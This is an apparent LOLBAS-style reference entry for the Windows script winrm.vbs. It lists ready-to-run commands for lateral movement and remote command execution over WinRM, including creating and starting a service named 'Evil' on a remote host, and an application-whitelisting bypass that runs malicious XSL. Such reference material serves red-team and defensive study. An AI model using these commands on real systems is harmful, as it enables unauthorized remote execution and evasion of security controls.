~/Privilege Escalation/Windows/Binaries# cat winrm.vbs.md

Script used for manage Windows RM settings

Paths:

C:\Windows\System32\winrm.vbs
C:\Windows\SysWOW64\winrm.vbs

Detection:

Execute

Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol

winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -r:http://target:5985

Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol

winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k c:\windows\system32\notepad.exe"} -r:http://acmedc:5985   \nwinrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985

AWL bypass

Bypass AWL solutions by copying and executing cscript.exe and malicious XSL documents from attacker controlled location

%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty